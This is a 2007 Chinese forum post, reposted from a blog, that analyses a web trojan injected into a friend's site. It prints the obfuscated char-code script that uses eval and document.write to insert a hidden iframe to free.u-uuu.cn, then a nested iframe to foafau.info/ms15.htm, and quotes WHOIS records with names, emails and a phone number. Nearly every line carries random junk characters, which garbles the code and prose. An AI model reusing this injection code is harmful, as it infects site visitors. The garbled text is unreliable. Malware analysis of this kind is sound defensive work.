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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, I[k"I(  
1Zn8CmE V  
http://www.areway.cn/?p=175 Q*T 'tkp  
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;x\oY6:  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: :Q"|%#P  
          hm73Zy  
<script>t=’60,105,102,114,97,109,101, RV  V`  
32,115,114,99,61,104,116,116,112,58,47,47, i:aW .QZ.  
102,114,101,101,46,117,45,117,117,117,46,99,  "&k(lQ4  
110,47,101,114,114,111,114,46,104,116,109, #PD6LO  
32,119,105,100,116,104,61,49,48,48,32,104, lh'S_p8g  
101,105,103,104,116,61,48,62,60,47,105,102, y8s!sO  
114,97,109,101,62′; _xv3UzD  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> M]r?m@)  
                                                                                                  =w+8q1!o  
<script>t=’60,105,102,114,97,109,101,32,115, :K^J bQ  
114,99,61,104,116,116,112,58,47,47,102,114, wxvi)|)  
101,101,46,117,45,117,117,117,46,99,110,47, VSY  p  
101,114,114,111,114,46,104,116,109,32,119, I)'bf/6?  
105,100,116,104,61,49,48,48,32,104,101,105, ujxr/8mjV  
103,104,116,61,48,62,60,47,105,102,114,97, #{|cSaX<  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); Cty#|6 k  
document.write(t);</script> m4@NW*G{  
                                                                                                  ~i;{+j6Ho!  
<html xmlns=” c$ZV vu  
http://www.w3.org/1999/xhtml .c-a$39  
“> @p*)^D6E\  
<head> u5A?; a  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> oV:oc,  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> 9(TGkz(NA  
<title>首页 - 爱生活家庭网 IANSpWea?  
                                                                                                                                                    o0C&ol_  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 1]G)41  
转换字符串后的大概内容是(谁点击后果自付): q_.fVn:!  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… d:';s~  
                                                                                                                                  sRD fA4/TF  
查询玉米u-uuu.cn的详细信息: RJ3oI+gI  
Domain Name: u-uuu.cn pc*)^S  
ROID: 20070901s10001s64972306-cn /j GBQ-X  
Domain Status: ok @M"gEeI9  
Registrant Organization: 王雷 l@B9}Icq  
Registrant Name: 王雷 V,_m>$Mo  
Administrative Email: czlovexs@126.com ) 6)bI.BY  
Sponsoring Registrar: 北京万网志成科技有限公司 W\kli';jyC  
Name Server:ns.yovole.com y,nmPX?]n  
Name Server:ns1.yovole.com VQla.Y  
Registration Date: 2007-09-01 17:54 V_SH90@)+  
Expiration Date: 2008-09-01 17:54 z/{X{+Z  
最后PING了一下地址 都没有什么…. \nZB@u;S  
                                                                                                12n:)yQy  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. n6% `  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> uAPVR  
<script language=”javascript” src=” :82h GU  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 2 DW @}[G  
> xrkl)7;  
这个玉米应该有可能是木马作者的: B}d&tH2^s  
foafau.info的详细信息: }'x;J   
Access to INFO WHOIS information is provided to assist persons in Kn~Rck| ]  
determining the contents of a domain name registration record in the Zl5'%b$&  
Afilias registry database. The data in this record is provided by @zg}x0]  
Afilias Limited for informational purposes only, and Afilias does not )J S6W  
guarantee its accuracy.  This service is intended only for query-based Tsg9,/vXM  
access. You agree that you will use this data only for lawful purposes )SmnLvL  
and that, under no circumstances will you use this data to: (a) allow, ^OY]Y+S`Ox  
enable, or otherwise support the transmission by e-mail, telephone, or LQR2T5S/Q,  
facsimile of mass unsolicited, commercial advertising or solicitations 4qie&:4j  
to entities other than the data recipient’s own existing customers; or F]3Y,{/V  
(b) enable high volume, automated, electronic processes that send 8v;^jo>ug  
queries or data to the systems of Registry Operator, a Registrar, or BNK]Os  
Afilias except as reasonably necessary to register domain names or Q6Gw!!Z5EA  
modify existing registrations. All rights reserved. Afilias reserves zi-_l  
the right to modify these terms at any time. By submitting this query, #Lhv=0op  
you agree to abide by this policy. Ki;SONSV~|  
Domain ID:D22418703-LRMS -x//@8"   
Domain Name:FOAFAU.INFO 92DM1~ *  
Created On:20-Nov-2007 16:05:42 UTC ss)x fG  
Last Updated On:20-Nov-2007 16:05:44 UTC f4f2xe7\Q  
Expiration Date:20-Nov-2008 16:05:42 UTC _B^zm-}8|B  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) ~18a&T:  
Status:CLIENT DELETE PROHIBITED  `t U  
Status:CLIENT RENEW PROHIBITED Z4VFfGCTL  
Status:CLIENT TRANSFER PROHIBITED \~5|~|9<  
Status:CLIENT UPDATE PROHIBITED ~ 29p|X<  
Status:TRANSFER PROHIBITED !&VfOx:PN  
Registrant ID:GODA-040110615 8?+|4:#=*J  
Registrant Name:liu hong ]Btkoad  
Registrant Organization: *HKw;I   
Registrant Street1:beijing 3 ~v 17  
Registrant Street2: B?VTIq>  
Registrant Street3: /\8I l+0  
Registrant City:beijing T`EV uRJ  
Registrant State/Province: *|A QV:  
Registrant Postal Code:100000 +"?+Be  
Registrant Country:CN o <q*3L5  
Registrant Phone:+86.860108888777 7PY$=L48A  
Registrant Phone Ext.: E8# >k  
Registrant FAX: ;Q;j@yx  
Registrant FAX Ext.: j!u)V1,  
Registrant Email:bbbshiji@163.com UPh#YV 0/,  
Admin ID:GODA-240110615 &N7ji  
Admin Name:liu hong ?"d$SK"6Z  
Admin Organization: L^+rsxR  
Admin Street1:beijing VPUVPq~&  
Admin Street2: 1^\w7Rew 2  
Admin Street3: q\Y4vWg  
Admin City:beijing C%XO|sP  
Admin State/Province: i5 rkP`)j  
Admin Postal Code:100000 gfQ?k  
Admin Country:CN iEvQ4S6tD  
Admin Phone:+86.860108888777 U[C4!k:0  
Admin Phone Ext.: Mkz_.;3  
Admin FAX: ||Zup\QB  
Admin FAX Ext.: =c[tHf  
Admin Email:bbbshiji@163.com Y9+_MxC"  
Billing ID:GODA-340110615 [qYr~:`-[  
Billing Name:liu hong }E 'r?N  
Billing Organization: |mb2<!ag{  
Billing Street1:beijing 7j]v_2S`  
Billing Street2: ~e{ @5.g  
Billing Street3: L:G#>  
Billing City:beijing `%C-7D'?  
Billing State/Province: j_Szw w-  
Billing Postal Code:100000 V'vR(Wx  
Billing Country:CN AcH-TIgM/  
Billing Phone:+86.860108888777 H9cPtP~a)  
Billing Phone Ext.: ";K w?  
Billing FAX: q-F K=r 5  
Billing FAX Ext.: d#ir=+o{h  
Billing Email:bbbshiji@163.com !J`lA  
Tech ID:GODA-140110615 ZaFt4#  
Tech Name:liu hong yayhL DL  
Tech Organization: OK [J h  
Tech Street1:beijing {K,In)4  
Tech Street2: 4-(kk0]`z  
Tech Street3: ~66xO9s  
Tech City:beijing m#7(<#  
Tech State/Province: >Fel) a  
Tech Postal Code:100000 </h^%mnd  
Tech Country:CN >L7s[vKn  
Tech Phone:+86.860108888777 COrk (V  
Tech Phone Ext.: / ;]5X  
Tech FAX: ht3.e[%'b  
Tech FAX Ext.: (`P\nnb  
Tech Email:bbbshiji@163.com lPTx] =G  
Name Server:NS27.DOMAINCONTROL.COM yeo&Qz2vU  
Name Server:NS28.DOMAINCONTROL.COM P?54"$b  
Name Server: +EETo):  
Name Server: &.?XntI9O  
Name Server: *IG$"nu  
Name Server: 'Uok<;  
Name Server: mB?x_6#d9  
Name Server: .fA*WQ!lb  
Name Server: %oZ:Awx  
Name Server: J$dwy$n  
Name Server: \CbJU  
Name Server: UtZ,q!sg  
Name Server: C-'hXh;hQ  
                                                                                                          {1W:@6tl  
接着下载每个文件里面的代码: ccD+AGM.  
一步一步看.. WyL+HB}  
Fnw:alWr  
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yIMqQSt79z  
.HqFdsm  
WjV15\,  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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